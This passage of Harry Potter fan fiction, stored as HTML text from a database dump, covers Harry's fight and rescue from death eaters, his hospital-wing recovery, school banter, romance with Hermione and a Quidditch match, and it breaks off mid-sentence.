stated. &#8220;But the fate of you resides on this battle.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yeah.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;So we can&#8217;t quit now.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yeah.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Have you ever fought on a Razor&#8217;s blade?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Huh?&#8221; Harry blinked in confusion. Celestial was too weak to talk to him, so he was forced to ask himself. &#8220;Explain.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Cho reached into his boot and took out two daggers. He then walked over to Harry and stabbed one into the ground. Turning, he stabbed the second not far from it. &#8220;We each put one foot on the blade.&#8221; He said, sitting down and taking off his boots. &#8220;You cannot move that foot, no matter what. If you do, you lose.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry watched Cho as he stood and placed his right heel onto the blade of the dagger in the ground. Well, they were daggers to a man of Cho&#8217;s size, but to Harry they almost looked like short swords. &#8220;Okay.&#8221; Harry finally said, kicking off one shoe and then lifting the other foot and pulling it off and tossing it over his shoulder. He walked to Cho and placed his right heel against the other blade. Each was close and had their left leg bent at the knee for balance. As it was, their kneecaps were touching.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Ready?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Ah.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Go!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry instantly started attacking with everything he had. Punch after punch was landed on both of them as they fought. No defense was put up, but they both didn&#8217;t care. It was their pure power and will that would decide the winner of the match. </p>\n\n<p>&nbsp;</p>\n\n<p>A sharp right hook rocked Harry to the side, but he quickly countered with a hard shot to Cho&#8217;s stomach, making him grunt as his foot dug onto the dagger it was resting on.&nbsp; Harry&#8217;s own foot was cut deep, but he no longer felt the pain from it. All that mattered was getting the big man to fall down.</p>\n\n<p>&nbsp;</p>\n\n<p>Cho&#8217;s eyes went sharp all of a sudden, showing Harry that he was about to do something that would finish their game. He saw it coming, but did could do nothing to stop it. Cho&#8217;s head reared back right before it was slammed onto his. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;That&#8217;s it!&#8221; A death eater watching shouted. &#8220;Nothing is harder than Cho&#8217;s head! He&#8217;s won!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Stars shot across Harry&#8217;s vision and he felt himself get woozy. He was sure his skull had a fracture from the blow, and knew that Cho&#8217;s did too. Harry felt himself swerve backwards, but he forced himself to not fall down, suddenly realizing the pain his foot was in. Cho, however, looked at him a moment right before smiling and his eyes rolling into the back of his head.</p>\n\n<p>&nbsp;</p>\n\n<p>Cho hit the ground.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Never underestimate the power of my hard head.&#8221; Harry said woozily, pulling his foot from the blade and sitting down. He instinctively tied his sock around the wound to stop the bleeding.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Get him!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry&#8217;s head snapped u pas the group watching them ran forward, wands out. &#8220;NO!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;expelliarmus!&#8221;</p>\n\n<p>&#8220;diffindo&#8221;</p>\n\n<p>&#8220;Fernunculus&#8221;</p>\n\n<p>&#8220;Impedimenta&#8221;</p>\n\n<p>&#8220;Reducto&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Five of the death eaters were floored by the attacks, and the two left were so confused by what just happened, they didn&#8217;t have a chance to realize Cho had woken up and was on his way over to them. &#8220;Didn&#8217;t I say he could go if he won!?&#8221; he demanded before grabbing their heads and cracking their skulls together, making them pass out.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Harry!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Cho turned to see a group of people he didn&#8217;t know surround the boy he just fought. &#8220;You&#8217;re something, Harry.&#8221; Cho said to himself, turning and walking toward the opening in the gate. &#8220;You taught me that there are better people out there. Maybe I should earn money in a more honest way&#8230;&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Thanks&#8230; for coming and getting me.&#8221; Harry said as Lupin carried him piggy back style to town where their carriage was waiting. It was well past one in the morning and everyone felt tired from the ordeal.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You would have done the same for us.&#8221; Ginny answered with a smile.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;We&#8217;d never leave you, mate.&#8221; Ron confirmed.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Are you sure you&#8217;re okay?&#8221; were Hermione&#8217;s words of choice.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What happened?&#8221; Lupin asked, ignoring the others.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;They know&#8230; about Sirius.&#8221; Harry said softly. &#8220;Wherever he is, you have to get him out of there.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Lupin nodded and turned a serious face forward. &#8216;<i>Sirius. This is Remus, where are you?</i>&#8217;</p>\n\n<p>&nbsp;</p>\n\n<p>Draco looked at the group for a moment before turning back to see in front of him. If he had gotten in trouble he knew no one would risk their lives to save him. These people were so close they didn&#8217;t even think twice about it. In the back of his mind he was aware of Ginny taking his hand and holding it, but his thoughts were more along the lines of defining friendship and how it was different then what he thought it was. Every time he was with this group, he always gained so much to think about&#8230;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~~**~~</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>A/N: If anyone watches Yu Yu Hakusho, you&#8217;ll know where I got one battle from this chapter. Many apologies go out to Jandor, Paladin of righteousness, for using his handle without permission. On a bad guy at that! In return, this chapter is dedicated to all my friends on Battle.Net.</p>\n\n<p>&nbsp;</p>\n\n<p>Like I said before, I <i>will</i> finish this fanfic. I know updates have been sparse lately but don&#8217;t worry, I WILL finish it. Although I may have to cut out one of the Marauder&#8217;s battles. I haven&#8217;t decided yet. If I do, I&#8217;ll make make an extra chapter after the fic is finished about the battle if it was skipped. Right now I just want to get this thing finished. I&#8217;ve had the ending planned for a while and I&#8217;m itching to write it.</p>\n\n<p>&nbsp;</p>\n\n<p>Please review.</p>\n\n<p>&nbsp;</p>\n\n<p>Untill next time!</p>\n\n<p>&nbsp;</p> '),
	(118, 11, '<p>A/N: not beta-ed yet. I just wanted to put this out quickly as an apology for making everyone wait so long for chapter X. 20,000 words in 4 days, I hope that can make up for the delay. </p> <p> </p> <p>                                                                                                ~~**~~</p> <p> </p> <p>Harry rolled over in his bed and groaned lightly. Although he had been fully healed by Madam Pomfrey, he was still asked to stay in the hospital wing overnight and part of the next day so he could be tested for any type of drugs or mind altering spells. Harry, of course, agreed to it (although none- too thrilled about the idea) and soon found himself unable to sleep.</p> <p> </p> <p>“Still awake?”</p> <p> </p> <p>Harry turned to the side and looked around. “Who’s there!?”</p> <p> </p> <p>“Shush! You’ll get us caught.” Came another voice, this one female. A second later, two people came into view as a cloak was thrown off of them. “Hey Harry.”</p> <p> </p> <p>“Hermione, Ron! You two…”</p> <p> </p> <p>“Brought cookies.” Ron finished for him, jumping up on the bed and making himself at home. Harry sat up and crossed his legs, making room for Hermione as well. The red head of the group put down a plate of cookies in the middle of the bed and Hermione sat down three glasses of milk and took the tops off of the cups.</p> <p> </p> <p><b>Breath of Fire XI</b></p> <p><b>By:</b></p> <p><b>Satashi</b></p> <p> </p> <p> </p> <p>“I don’t know what I would do without you.” Harry said, grinning like an idiot as he snagged a chocolate chip cookie and took a bite. “Mmm….. Freshly baked?” He took a sip of milk.</p> <p> </p> <p>“Dobby made them when we told him we were going to see you.” Hermione explained. “He knows we always do this when one of us has to stay all night for no reason.”</p> <p> </p> <p>“Speaking of no reason, you sure you’re okay?” Ron asked, looking him over. “You exhausted your magical powers didn’t you?”</p> <p> </p> <p>“Kind of.” Harry admitted, reaching to his right and grabbing his wand. “Lumos!” a dull yellow light came to his call, pathetically lighting a little area around him. “Nox.” The light quickly as snuffed out. “I’ll have to recover my energy before I can do anything else.”</p> <p> </p> <p>Ron nodded and talked around a bite of a cookie. “So, mate, what happened while you were there?”</p> <p> </p> <p>“Yeah.” Hermione agreed, leaning forward and snatching a raisin oatmeal cookie. Dobby never had any quarrels about making three different types of cookies for his friends. “They didn’t torture you or anything did they?” Harry gave her a small lopsided smile, which made her bring her hand to her mouth. “Oh no…”</p> <p> </p> <p>“I never knew how the death eaters took out so many places, or got away with the things they did.” Ron spoke during a small silence. “I always though, ‘hey, it’s a group of ten people, surely a group of fifteen aurors can take them out, right?’ But when I actually fought against them….  I mean I <i>know</i> they cast the forbidden spells but…”</p> <p> </p> <p>“Never knew they called them out so easily, huh?” Hermione finished up for him, getting a nod.</p> <p> </p> <p>“The way has started.” Harry spoke, idoly biting a cookie. “I was going to be the first to die. That would have destroyed moral for everyone.”</p> <p> </p> <p>“Yeah…”</p> <p> </p> <p>Ron sighed and took a drink. “That’s not the point right now.” He grabbed another cookie. “A toast to getting our best friend back in one piece.”</p> <p> </p> <p>“Cheers!” His two friends gladly accepted the toast and change of subject. </p> <p> </p> <p>“Thanks for coming guys.” Harry told them after a bit. “Means a lot to me to have such great friends.”</p> <p> </p> <p>“Ah, whatever. You just wanted cookies!”</p> <p> </p> <p>Hermione laughed at Ron but nodded at Harry at the same time. “We should be getting back, though. It’ll be a rough day for all of us. Harry will be pestered about what happened until Madam Pomfrey-”</p> <p> </p> <p>“Or Ginny”</p> <p> </p> <p>“Or Ginny,” Hermione added with a laugh. “And then the people will come to us to find out anything they couldn’t get from Harry.”<br/> <br/> </p> <p>“Come visit me sometime okay?” Harry asked, watch the two stand and hop off his bed.</p> <p> </p> <p>“Sure thing, mate.” Ron whipped the cloak over him.</p> <p> </p> <p>“Oh, Hermione!” </p> <p> </p> <p>“Yeah?” she paused before stepping under with Ron.</p> <p> </p> <p>“Would you wear this for me please?” He held out his necklace. “I’m weak on power and…”</p> <p> </p> <p>“Sure.” She took it and Ron blinked at them.</p> <p> </p> <p>Harry nodded at him. “You’re not an idiot Ron.”</p> <p> </p> <p>He smirked. “If you weren’t going to tell me, I wasn’t going to pry.”</p> <p> </p> <p>Hermione looked between the two. “What did I miss?”</p> <p> </p> <p>Ron shook his head. “After all these years, your still underestimate how I can pick up on things.” He nodded to the necklace. “The sudden change in looks, the new magic, Harry talking to himself, his refusal to take it off unless you’re wearing it… It wasn’t that hard to figure out that the necklace was what caused it all. Besides, Harry <i>rarely</i> wears a necklace unless he’s on a date.”</p> <p> </p> <p>Hermione beamed up at him. “You impress me every day, did you know that?”</p> <p> </p> <p>Harry grinned as Ron laughed and draped his arm over her with the cloak. “Let’s get out of here.”</p> <p> </p> <p>                                                                                                                                ~**~</p> <p> </p> <p>Harry looked up from his book when the curtains around his bed slid open, revealing Ginny to him. “Hellooooooo nurse.” He teased, getting a light smack on the head. “Can I leave yet, doctor?” </p> <p> </p> <p>“Nope.” Ginny answered, looking at the clipboard by his bed. “You have to put up with me for a while. Classes are done for the day so I’m doing my Wing duties.” She held out a thermometer. “Say ‘ahh’”</p> <p> </p> <p>“Ahhh” he held open his mouth and let her place it under his tongue. “Good boy.” She patted him on the head, making him glare. “You hurt anywhere?” Harry shook his head ‘no’ before she went on with the questions. “Are you tired, any aches, a weird feeling, or mind feel hazy?” Harry shook his head negative to all of them, making her smile. “Good.” She reached for the thermometer and he let her pull it from his mouth. Looking at it, she grinned. “According to your build, height, grades in class, and all that junk, this tells us how full your magical powers are.</p> <p> </p> <p>“Normally a person can’t exhaust their magical energy, but it can still be done if pushed far enough. Kind of like how the body gets weak after too much work or exercise, the mind gets weak from too much stress that comes with magic.”</p> <p> </p> <p>Harry nodded in a way that meant that that much was obvious, but clearly did not understand a thing she just said. “So am I okay or what?”</p> <p> </p> <p>“You need help, just not the kind I can offer.” She teased, tapping his head.”</p> <p> </p> <p>“Hey!”</p> <p> </p> <p>Ginny laughed and dodged a swat from his hand. “Anyway, you seem to be about one third of your ‘normal’ self. Keep in mind that being ‘normal’ doesn’t mean being at your peak. Casting spells in school all day and doing homework and such drains your powers still. You won’t be ‘full’ until you go home for the summer.” Harry gave her a weird look, to which she laughed. “I read it in the book.”</p> <p> </p> <p>Harry laughed lightly and shook his head. “So I can’t leave until I’m ‘normal’?”</p> <p> </p> <p>“You’ll never be <i>normal</i>, Harry.”</p> <p> </p> <p>“Ginny! Come <i>on</i>!”</p> <p> </p> <p>She laughed. “Sorry, sorry. I just never get a chance to tease you. But yes, that’s right. Stay in bed, blah, blah, blah, drink lots of fluids, blah, blah, blah, you know the drill.”</p> <p> </p> <p>“Yeah yeah. Take it easy and don’t do anything stupid. Madam Pomfrey tells me that every time I see her.”</p> <p> </p> <p>“Yup.” Ginny scribbled down something on the clipboard. “You can leave to go get dinner, but that’s a few hours away. Bed rest until then. Visitors for one hour now.” </p> <p> </p> <p>Harry grinned. “All right! Is Hermione out there?”</p> <p> </p> <p>“<i>No</i> making out in the hospital Wing!”</p> <p> </p> <p>“…Spoilsport…”</p> <p> </p> <p>                                                                                                                ~**~</p> <p> </p> <p>“So there we were…” Ron said, as the people around him at the lunch table leaned in. “surrounded by at <i>least</i> fifty death eaters.”</p> <p> </p> <p>“There were seven, Ron.” Hermione corrected as she ate her sandwich and talked mentally to Celestial.</p> <p> </p> <p>“Okay, okay, seven of them.” Ron went on. “Anyway, they were armed to the teeth! Swords, nun chucks and all that! And each one had at least three wands!” Hermione raised an eyebrow, but kept silent that time. “And then, out of nowhere, there was this <i>huge</i> thundering sound!” Here Ron smacked the table, making the first years jump in shock. “Harry was fighting this giant person with blue hair that was in a Mohawk! He deflected Harry’s attacks and slammed him against the wall!”</p> <p> </p> <p>“Oh no!” a small girl gasped before blushing at her outburst. It was obvious she had a crush on Harry… Her and every other first, second, third and fourth year girl in Gryffindor. It was a known fact they al adored both Ron and Harry.</p> <p> </p> <p>“And then I jumped in and saved the day!” Ron added, making half the girls sigh in admiration.</p> <p> </p> <p>“Ron.” Hermione said, crossing her arms and resting them on his head while leaning over him. “Honey, didn’t you knock out <i>one</i> of the death eaters before we all scrambled out of that place while we were still alive?”</p> <p> </p> <p>“Which brings me to my point.” Ron said to the boys of the group. “As long as you’re running faster than the person beside you, you’ll be okay.”</p> <p> </p> <p>“Ron!”</p> <p> </p> <p>                                                                                                ~**~</p> <p> </p> <p>“Oh come on Herms.” Ron said while they walked to the hospital wing. He was carrying her book bag over his shoulder and she had an arm through his in a friendly manor as they walked. “It’s not like I <i>lied</i> to them... Well, not <i>too</i> much!”</p> <p> </p> <p>She sighed. “Ron, you’re too much sometimes.”</p> <p> </p> <p>“I know.”</p> <p> </p> <p>Hermione punched him in the arm with her free hand, getting a laugh. “You’re so full of yourself!”</p> <p> </p> <p>“I rule, I know.”</p> <p> </p> <p>Hermione rolled her eyes as they walked to the hospital wing door. “Better watch out not to hit your head, Ron.” She smirked. “With my high heels on and your ego, we may not make it!”</p> <p> </p> <p>“Hermione!”</p> <p> </p> <p>                                                                                                ~**~</p> <p> </p> <p>“Hey Harry!” Hermione greeted, giving him a quick peck on the forehead. “How are you?”</p> <p> </p> <p>“Good and you three?” He asked his two best friends.</p> <p> </p> <p>“Good.” Ron answered, hopping up on the bed.</p> <p> </p> <p>“Fine, and ‘getting there’” Hermione replied, fingering the necklace out of habit when she talked to it. “You too terribly bored?”</p> <p> </p> <p>“Extremely.” He agreed, moving his legs so Hermione could sit on the bed as well. “Ginny’s taken to teasing me non-stop lately, though. Really quite annoying. I mean, I knew she could talk your ear off but man…”</p> <p> </p> <p>Hermione laughed while Ron just shook his head. “Figured you’d be bored, so I brought this.” He held out his small portable chess set. “A good game will make an hour or so fly by!”</p> <p> </p> <p>“All right!”</p> <p> </p> <p>“And I knew he would do that so I brought my books to study while you two goofed off.”</p> <p> </p> <p>“That’s our Hermione.” The boys both chorused at the same time.</p> <p> </p> <p>“Not dead yet, I see.”</p> <p> </p> <p>The trio turned to see Draco standing by the bed. “Malfoy?” Ron asked, amazed.</p> <p> </p> <p>“Just want to…make sure he would be okay, you know, for the upcoming match we have in a few weeks, that’s all.”</p> <p> </p> <p>Harry smirked. “I’ll live, Draco.”</p> <p> </p> <p>The boy nodded once before turning and walking away, pausing to speak to Ginny for a moment, and then leaving the Wing.</p> <p> </p> <p>“That was weird.” Hermione spoke aloud, looking at the door. “Who would have thought he’d worry about <i>you</i> of all people.”</p> <p> </p> <p>“I can’t help but take a little offence to that!” Harry replied playfully.</p> <p> </p> <p>“Oh hush; you know how I meant it.” She humphed and opened her book, hopping off the bed in favour of a chair to sit in.</p> <p> </p> <p>“More room for us.” Ron grinned, letting the pieces fall.</p> <p> </p> <p>                                                                                                ~**~</p> <p> </p> <p>“Finally.” Harry breathed a sigh of relieve as he walked out of the hospital wing. “I’m starving!”</p> <p> </p> <p>“Harry!” Lupin greeted, walking over to him. “Could you come to my office for a bit?” He saw Madam Pomfrey out of the corner of his eye. “It’s about your assignments you missed.”</p> <p> </p> <p>Harry sighed. “Professor, I’m <i>really</i> hungry right now, could we-”</p> <p> </p> <p>“You missed <i>a lot</i> Harry.” Lupin said in a firm tone. </p> <p> </p> <p>Harry took the hint. “Yes sir, now’s okay.”</p> <p> </p> <p>                                                                                                ~**~</p> <p> </p> <p>“Sorry about that, Harry.” Lupin said as they sat down in his office. To Harry’s surprise there was a large amount of food on several platters on the desk. “I asked the house elves to make us a small snack while we talked, but this one named Dobby seemed to make a little too much…”</p> <p> </p> <p>“This <i>is</i> a small snack for me.” Harry grinned, grabbing an apple and eating it in almost five bites. “I’m starved!”</p> <p> </p> <p>Lupin shook his head. “Yes, I know how you eat.” He watched him shovel down the food. “I wanted to let you know Sirius has made it to safety.”</p> <p> </p> <p>“All right!” Harry cried out around a mouthful of bread. “When can I talk to him?”</p> <p> </p> <p>“Personally? In a few days.  Technically, any time you want.”</p> <p> </p> <p>“What do you mean?” Harry actually slowed down his inhalation of food, showing he was confused.</p> <p> </p> <p>Lupin tapped his head before handing Harry the book of thoughts. “We copied it and transfused the power into a vial of liquid. Now me and Sirius can talk to each other in our minds, almost like we can in our animal forms.”</p> <p> </p> <p>“Your Animal forms can talk mentally?”</p> <p> </p> <p>“Yeah. Don’t ask me how because it’s complicated. We used those principles to create this book.” He nodded to the thought book. “I also wanted to ask you if you heard anything while being captured. Ryoko has already been sentenced and is in Azkaban.”</p> <p> </p> <p>Harry shook his head Voldemort was only there for a bit. He put me under the cruciatus curse and then left. I escaped a little later thanks to Ron’s Christmas present, the dagger in my shoe.”</p> <p> </p> <p>“I see…” Lupin folded his hands together and looked at Harry. And how are your nightmares?”</p> <p> </p> <p>“I haven’t had a bad one since that time I saw the future.”</p> <p> </p> <p>“Harry, it wasn’t the future, it was just something that meant to tell you something. Besides, Sirius and I don’t own any cloths like the ones you mentioned us wearing.”</p> <p> </p> <p>“…yeah…”</p> <p> </p> <p>“One more thing that has been bothering me… It’s Malfoy.”</p> <p> </p> <p>“Draco or Lucius?”</p> <p> </p> <p>“Draco.”</p> <p> </p> <p>“What about him?”</p> <p> </p> <p>“I’ve seen his Angel Wing transformation, and I have heard by a few people in Hogsmeade of a person who had Feather wings and looked like a demon, but helped people… is there anything about him that you should tell me? I know it was Draco. The other people don’t know him, that’s why it hasn’t gotten into the press yet.”</p> <p> </p> <p>“Draco is… well…”</p> <p> </p> <p>“Are you sure you can’t tell me?”</p> <p> </p> <p>Harry sighed, knowing that Lupin could read him too well. “I promised I wouldn’t. I can tell you he’s on our side, though.”</p> <p> </p> <p>“That’s good enough for now I suppose.”</p> <p> </p> <p>“Thanks.”</p> <p> </p> <p>“Now, about the work you missed…”</p> <p> </p> <p>“Oh man…”</p> <p> </p> <p>                                                                                                ~**~</p> <p> </p> <p>“Welcome back Harry!” The common room shouted as he walked through the portrait. Several people gave him hugs or shook his hand, congratulating him on escaping He-who-must-not-be-named.” Some of the younger Gryffindors begged for stories of his adventures, and a few girls were all clinging for him. </p> <p> </p> <p>“Haryyyyyyy!” </p> <p> </p> <p>The boy who lived looked up to the stairs, where Hermione was leaning over the railing. “Welcome back, love.”</p> <p> </p> <p>Harry grinned up at her and the public announcement of the pet name. “Hiya, Herms. Miss me?”</p> <p> </p> <p>The first year girls all pouted at the love of Harry’s life and went to go do other things while he walked to the stairs, waving over his shoulder to his friends.</p> <p> </p> <p>“You okay?” She asked, giving him a hug before they went into their room. </p> <p> </p> <p>“Yeah, peachy.” He replied as he lay on his bed without getting changed. “But I’m tired. Even after being in the hospital Wing all day. Just walking to the tower and answering all those questions. Geese, I’m beat.”</p> <p> </p> <p>“Well, you <i>did</i> tax both your body and mind not too long ago. You’re still too weak to even wear Celestial.” </p> <p> </p> <p>Harry gave a small lopsided smile. “How is she?”</p> <p> </p> <p>Hermione paused a moment before replying. “She’s worried about you too.”</p> <p> </p> <p>Harry sat up and looked at the necklace. “Don’t worry, Cecilia, I’ll make it.” He could make out a small grin on the Dragon’s face. She was still probably too weak to move around freely still.</p> <p> </p> <p>“Anyway,” Hermione began before taking off her shirt and rummaging threw her things. “I want to get some sleep.” Her pants followed and she picked up a night shirt. She was about to put it on, but felt hands snake around her. “Harry! No! You’re too tired, we need to rest…” A blush shot over her face. “Shouldn’t you be tired from that 2 minute Crucio spell you were under?” Suddenly her legs became weak and she gave in to him. “I swear, the closer you come to death the more turned on you get later….”</p> <p> </p> <p>                                                                                                ~**~</p> <p> </p> <p>Hermione sighed contently as she snuggled up closer to the person in her bed. Even though she was half naked, very tired, and dazed from just waking up, she felt like it would be a good day. Giving her boyfriend a kiss to the chest, she slid away from him and padded over to her trunk and picked out her pajama cloths and put them on, laughing lightly at last night. Harry had fallen asleep in the middle of a kiss.  She thought it was funny, but if she told him, he would probably be embarrassed about it.</p> <p> </p> <p>Singing to herself, she got her bath things ready and walked to the prefect’s bathroom. Setting the taps, she striped herself of the cloths and slid in, pulling her hair into a tight bun so it wouldn’t get wet. “A nice hot bath with a good book.” She spoke aloud, shifting the dragon necklace so it went down her back instead of annoying her up front. </p> <p>                                                                                                ~**~</p> <p> </p> <p>Hermione looked to the door as she heard it open. Harry stepped into the bathroom and gave her a small smile and a wave before putting his cloths on the shelf. Hermione was sitting against the corner of the bath in a place specially designed to be able to stretch out while sitting down. In her hand she held a book entitled “Advanced charms and how to perfect them.”</p> <p> </p> <p>Harry slipped into the hot water and sighed contently. Taking a breath, he dived under and swam around until he was forced to come back for air. “I swear Herms,”</p> <p> </p> <p>“Hm?” She hummed, showing she was lending him an ear.</p> <p> </p> <p>“One day, I’m going to steal some of that gillyweed or whatever it was called to grow some gills and I’m going to soak in the bath underwater for a full hour.”</p> <p> </p> <p>“That’s nice, dear.” </p> <p> </p> <p>Harry rolled his eyes. “You’re not even listening to me.”</p> <p> </p> <p>“Mmhmm.”</p> <p> </p> <p>“Hermione, Draco just walked in.”</p> <p> </p> <p>“That’s nice.” She turned a page in her book and kept reading.</p> <p> </p> <p>Harry swam up to her and blew in her ear, making her shrug a little before returning to her paragraph. Grinning, Harry snatched the book and pushed back before she could grab him. “Harry! Give that back!”</p> <p> </p> <p>“No.” He laughed as she tried to jump and grab it. “Ooh, bouncy, bouncy!”</p> <p> </p> <p>“Pervert!” she accused but tried to grab the book again. “Come onnnnnn!”</p> <p> </p> <p>“Kiss me.”</p> <p> </p> <p>“Wha?”</p> <p> </p> <p>“Kiss me and I’ll give it back.”</p> <p> </p> <p>“Harold James Potter, you are <i>so</i> weird.”</p> <p> </p> <p>“Pucker up, Buttercup.”</p> <p> </p> <p>Hermione rolled her eyes. “Promise to give me to the book?”</p> <p> </p> <p>“Kiss me.”</p> <p> </p> <p>Hermione sighed and swam a step or two over to him before pecking his lips. “There, now give me the book.”</p> <p> </p> <p>“I lied.” He tossed the book to the side of the bath and started tickling her.</p> <p> </p> <p>“Harry! Haha, stop! I mean- haha- it!”</p> <p> </p> <p>“Lighten up Herms.” Harry told her happily. “I could have died a day ago, lets goof off for a day to celebrate!”</p> <p> </p> <p>Hermione finally managed to pull away. “Okay okay, we’ll goof today. Tomorrow we study, though.”</p> <p> </p> <p>“okay.” He kissed her nose. “I want to do something.”</p> <p> </p> <p>“What?” she raised an eyebrow at him. </p> <p> </p> <p>“This.” Harry disappeared under the water before she could reply. A moment later she felt him come up under her and lift her over his shoulders.</p> <p> </p> <p>“Harry!” She cried out, trying to find some way to steady herself. </p> <p> </p> <p>“Going down.” He told her playfully, falling backwards.</p> <p> </p> <p>“Harr-” Her plea was cut off as she went under the water, lost in the suds.</p> <p> </p> <p>                                                                                                ~**~</p> <p> </p> <p>Ron looked up from his meal when his friends sat in front of him. “Hey guys.” He greeted with a nod before going back to inhaling his food.</p> <p> </p> <p>The <i>Hogwarts Press</i> landed in Harry’s lap a few moments later, catching his attention. Hedwig hooted at him and flew off after a scratch to her neck. “Blitz Team beat the Hokage.” Harry mused, looking it over. “I completely forgot about the fight when I was captured.”</p> <p> </p> <p>“Same here.” Ron thought aloud, snatching the Tournament section of the ever growing <i>Hogwarts Press</i>. “Wow, pretty rough. They had two 2-on-2 matches and then a 1-on-1 to settle it.”</p> <p> </p> <p>“Who’s going next?” Hermione asked as she began to drink her pumpkin juice. </p> <p> </p> <p>“N.W.O. and the Blitz team” Ron replied. “Whoa, tough break, two matches in a row.”</p> <p> </p> <p>“Don’t forget Quidditch.”  Harry informed, looking over the rest of the newspaper. “This upcoming week is Gryffindor verses Hufflepuff.”</p> <p> </p> <p>“At least we don’t fight again for at least a month.” Ginny thought aloud as she passed them and claimed a seat next to Hermione. “Good morning guys.”</p> <p> </p> <p>There was a collective greeting for Ginny before everyone went back to eating and reading, talking about random things that went on.</p> <p> </p> <p>                                                                                                                ~**~</p> <p> </p> <p>Harry bit back a yell of pain as a bludger clipped his backside. Quickly straightening his grip on his trusted (if not a bit outdated) Firebolt, Harry righted his position and grinned to himself as the Snitch flew right in front of his face. Reaching out for it, he felt the wings flutter under his hand, but the glory was stolen from him as Allan, the new Hufflepuff seeker (a third year) flew madly and tried to grab it himself. This resulted in both loosing sight of the snitch. </p> <p> </p> <p>“Aw man!” Allan groaned, “I could have <i>sworn</i> I would have caught it!” He angrily batted at the air.</p> <p> </p> <p>“Hey, calm down.” Harry coached to the newcomer. “This is your first real game, right?” Allan nodded at him. “You don’t know how the snitch reacts to different on comings. The best, and almost only, way to grab it is directly from behind it, above, or below. Try it from the side and it’ll feel your hand on the wings and zip away.”</p> <p> </p> <p>The two flew into the air and kept an eye out. “Why are you telling me this?”</p> <p> </p> <p>Harry shrugged as he let his eyes scan. He still let Hermione Wear Celestial whenever he was playing. With his dragon vision and the power of the necklace, he would always know where the snitch was. Cheating wasn’t one thing Harry liked doing. “It’s your first time out here competing.” Harry told the person next to him. “I’ve done it for seven years. I want to win, but I’m still a seeker at heart. I like to give advice on something I know about.”</p> <p> </p> <p>“You’re a lot different than I thought you would be.”</p> <p> </p> <p>“Don’t believe what you read in text books.” Harry replied just before diving straight at the ground.</p> <p> </p> <p>“Hey!” Allan roared after him, catching up on his Nimbus two-thousand and three. “I see it too!”</p> <p> </p> <p>The pair raced straight to the ground at an alarming speed, Snitch just out of their reach. “When in doubt.” Harry spoke aloud, more to himself. “Do something reckless!” Kicking forward, Harry jumped forward and kicked his shoe from his broomstick’s front. With this new reach, Harry easily snagged the snitch. With his other hand, Harry grabbed his broomstick and pulled just hard enough so he wouldn’t kill himself when he hit the ground a few seconds later. </p> <p> </p> <p>Harry came in at an odd angle and bounce two times before losing his grip on his broom. He then skidding 